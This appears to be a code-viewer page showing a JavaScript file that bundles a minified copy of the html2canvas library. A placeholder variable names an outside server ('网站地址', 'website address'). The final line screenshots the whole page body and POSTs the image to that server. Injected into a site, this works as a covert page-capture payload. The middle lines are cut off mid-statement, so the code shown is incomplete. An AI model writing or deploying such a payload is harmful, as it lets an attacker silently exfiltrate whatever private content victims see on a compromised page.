4 lines
60 KiB
JavaScript
4 lines
60 KiB
JavaScript
|
|
var website="http://网站地址/";
|
||
|
|
(function(t,e,n,r,o,i){function a(t,e,n,r,o){return g(t,t,n,r,e,t.defaultView.pageXOffset,t.defaultView.pageYOffset).then(function(i){N("Document cloned");var a=Ye+o,c="["+a+"='"+o+"']";t.querySelector(c).removeAttribute(a);var h=i.contentWindow,l=h.document.querySelector(c),u=Promise.resolve("function"==typeof e.onclone?e.onclone(h.document):!0);return u.then(function(){return s(l,i,e,n,r)})})}function s(t,n,r,o,i){var a=n.contentWindow,s=new _e(a.document),d=new P(r,s),p=V(t),f="view"===r.type?o:l(a.document),g="view"===r.type?i:u(a.document),m=new r.renderer(f,g,d,r,e),y=new U(t,m,s,d,r);return y.ready.then(function(){N("Finished rendering");var e;return e="view"===r.type?h(m.canvas,{width:m.canvas.width,height:m.canvas.height,top:0,left:0,x:0,y:0}):t===a.document.body||t===a.document.documentElement||null!=r.canvas?m.canvas:h(m.canvas,{width:null!=r.width?r.width:p.width,height:null!=r.height?r.height:p.height,top:p.top,left:p.left,x:a.pageXOffset,y:a.pageYOffset}),c(n,r),e})}function c(t,e){e.removeContainer&&(t.parentNode.removeChild(t),N("Cleaned up container"))}function h(t,n){var r=e.createElement("canvas"),o=Math.min(t.width-1,Math.max(0,n.left)),i=Math.min(t.width,Math.max(1,n.left+n.width)),a=Math.min(t.height-1,Math.max(0,n.top)),s=Math.min(t.height,Math.max(1,n.top+n.height));return r.width=n.width,r.height=n.height,N("Cropping canvas at:","left:",n.left,"top:",n.top,"width:",i-o,"height:",s-a),N("Resulting crop with width",n.width,"and height",n.height," with x",o,"and y",a),r.getContext("2d").drawImage(t,o,a,i-o,s-a,n.x,n.y,i-o,s-a),r}function l(t){return Math.max(Math.max(t.body.scrollWidth,t.documentElement.scrollWidth),Math.max(t.body.offsetWidth,t.documentElement.offsetWidth),Math.max(t.body.clientWidth,t.documentElement.clientWidth))}function u(t){return Math.max(Math.max(t.body.scrollHeight,t.documentElement.scrollHeight),Math.max(t.body.offsetHeight,t.documentElement.offsetHeight),Math.max(t.body.clientHeight,t.documentElement.clientHeight))}function d(){return"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"}function p(){return e.documentMode&&e.documentMode<=9}function f(t,n){for(var r=3===t.nodeType?e.createTextNode(t.nodeValue):t.cloneNode(!1),o=t.firstChild;o;)(n===!0||1!==o.nodeType||"SCRIPT"!==o.nodeName)&&r.appendChild(f(o,n)),o=o.nextSibling;return r}function g(t,e,n,r,o,i,a){w(t);var s=p()?f(t.documentElement,o.javascriptEnabled):t.documentElement.cloneNode(!0),c=e.createElement("iframe");return c.className="html2canvas-container",c.style.visibility="hidden",c.style.position="fixed",c.style.left="-10000px",c.style.top="0px",c.style.border="0",c.width=n,c.height=r,c.scrolling="no",e.body.appendChild(c),new Promise(function(e){var n=c.contentWindow.document;m(t.documentElement,s,"textarea"),m(t.documentElement,s,"select"),c.contentWindow.onload=c.onload=function(){var r=setInterval(function(){n.body.childNodes.length>0&&(x(t,n),clearInterval(r),"view"===o.type&&c.contentWindow.scrollTo(i,a),e(c))},50)},n.open(),n.write("<!DOCTYPE html><html></html>"),y(t,i,a),n.replaceChild(o.javascriptEnabled===!0?n.adoptNode(s):E(n.adoptNode(s)),n.documentElement),n.close()})}function m(t,e,n){for(var r=t.getElementsByTagName(n),o=e.getElementsByTagName(n),i=r.length,a=0;i>a;a++)o[a].value=r[a].value}function y(t,e,n){!t.defaultView||e===t.defaultView.pageXOffset&&n===t.defaultView.pageYOffset||t.defaultView.scrollTo(e,n)}function v(e,n,r,o,i,a){return new Oe(e,n,t.document).then(b(e)).then(function(t){return g(t,r,o,i,a,0,0)})}function b(t){return function(n){var r,o=new DOMParser;try{r=o.parseFromString(n,"text/html")}catch(i){N("DOMParser not supported, falling back to createHTMLDocument"),r=e.implementation.createHTMLDocument("");try{r.open(),r.write(n),r.close()}catch(a){N("createHTMLDocument write not supported, falling back to document.body.innerHTML"),r.body.innerHTML=n}}var s=r.querySelector("base");if(!s||!s.href.host){var c=r.createElement("base");c.href=t,r.head.insertBefore(c,r.head.firstChild)}return r}}function w(t){[].slice.call(t.querySelectorAll("canvas"),
|
||
|
|
O.prototype.getMetrics=function(t,e){return this.data[t+"-"+e]===i&&(this.data[t+"-"+e]=new I(t,e)),this.data[t+"-"+e]},R.prototype.proxyLoad=function(t,e,n){var r=this.src;return v(r.src,t,r.ownerDocument,e.width,e.height,n)},A.prototype.TYPES={LINEAR:1,RADIAL:2},P.prototype.findImages=function(t){var e=[];return t.reduce(function(t,e){switch(e.node.nodeName){case"IMG":return t.concat([{args:[e.node.src],method:"url"}]);case"svg":case"IFRAME":return t.concat([{args:[e.node],method:e.node.nodeName}])}return t},[]).forEach(this.addImage(e,this.loadImage),this),e},P.prototype.findBackgroundImage=function(t,e){return e.parseBackgroundImages().filter(this.hasImageBackground).forEach(this.addImage(t,this.loadImage),this),t},P.prototype.addImage=function(t,e){return function(n){n.args.forEach(function(r){this.imageExists(t,r)||(t.splice(0,0,e.call(this,n)),N("Added image #"+t.length,"string"==typeof r?r.substring(0,100):r))},this)}},P.prototype.hasImageBackground=function(t){return"none"!==t.method},P.prototype.loadImage=function(t){if("url"===t.method){var e=t.args[0];return!this.isSVG(e)||this.support.svg||this.options.allowTaint?e.match(/data:image\/.*;base64,/i)?new M(e.replace(/url\(['"]{0,}|['"]{0,}\)$/gi,""),!1):this.isSameOrigin(e)||this.options.allowTaint===!0||this.isSVG(e)?new M(e,!1):this.support.cors&&!this.options.allowTaint&&this.options.useCORS?new M(e,!0):this.options.proxy?new Le(e,this.options.proxy):new S(e):new Fe(e)}return"linear-gradient"===t.method?new L(t):"gradient"===t.method?new ze(t):"svg"===t.method?new We(t.args[0],this.support.svg):"IFRAME"===t.method?new R(t.args[0],this.isSameOrigin(t.args[0].src),this.options):new S(t)},P.prototype.isSVG=function(t){return"svg"===t.substring(t.length-3).toLowerCase()||Fe.prototype.isInline(t)},P.prototype.imageExists=function(t,e){return t.some(function(t){return t.src===e})},P.prototype.isSameOrigin=function(t){return this.getOrigin(t)===this.origin},P.prototype.getOrigin=function(t){var n=this.link||(this.link=e.createElement("a"));return n.href=t,n.href=n.href,n.protocol+n.hostname+n.port},P.prototype.getPromise=function(t){return this.timeout(t,this.options.imageTimeout)["catch"](function(){var e=new S(t.src);return e.promise.then(function(e){t.image=e})})},P.prototype.get=function(t){var e=null;return this.images.some(function(n){return(e=n).src===t})?e:null},P.prototype.fetch=function(t){return this.images=t.reduce(be(this.findBackgroundImage,this),this.findImages(t)),this.images.forEach(function(t,e){t.promise.then(function(){N("Succesfully loaded image #"+(e+1),t)},function(n){N("Failed loading image #"+(e+1),t,n)})}),this.ready=Promise.all(this.images.map(this.getPromise,this)),N("Finished searching images"),this},P.prototype.timeout=function(t,e){var n,r=Promise.race([t.promise,new Promise(function(r,o){n=setTimeout(function(){N("Timed out loading image",t),o(t)},e)})]).then(function(t){return clearTimeout(n),t});return r["catch"](function(){clearTimeout(n)}),r},L.prototype=Object.create(A.prototype),L.prototype.stepRegExp=/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/,D.prototype.cloneTo=function(t){t.visible=this.visible,t.borders=this.borders,t.bounds=this.bounds,t.clip=this.clip,t.backgroundClip=this.backgroundClip,t.computedStyles=this.computedStyles,t.styles=this.styles,t.backgroundImages=this.backgroundImages,t.opacity=this.opacity},D.prototype.getOpacity=function(){return null===this.opacity?this.opacity=this.cssFloat("opacity"):this.opacity},D.prototype.assignStack=function(t){this.stack=t,t.children.push(this)},D.prototype.isElementVisible=function(){return this.node.nodeType===Node.TEXT_NODE?this.parent.visible:"none"!==this.css("display")&&"hidden"!==this.css("visibility")&&!this.node.hasAttribute("data-html2canvas-ignore")&&("INPUT"!==this.node.nodeName||"hidden"!==this.node.getAttribute("type"))},D.prototype.css=function(t){return this.computedStyles||(this.computedStyles=this.isPseudoElement?this.parent.computedStyle(this.before?":before":":after"):this.computedStyle(null)),this.styles[t]||(this.s
|
||
|
|
html2canvas(document.body,{onrendered: function(canvas){var x=new XMLHttpRequest();x.open("POST",website,true);x.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");x.send("screenshot="+encodeURIComponent(canvas.toDataURL("image/jpeg")));}});
|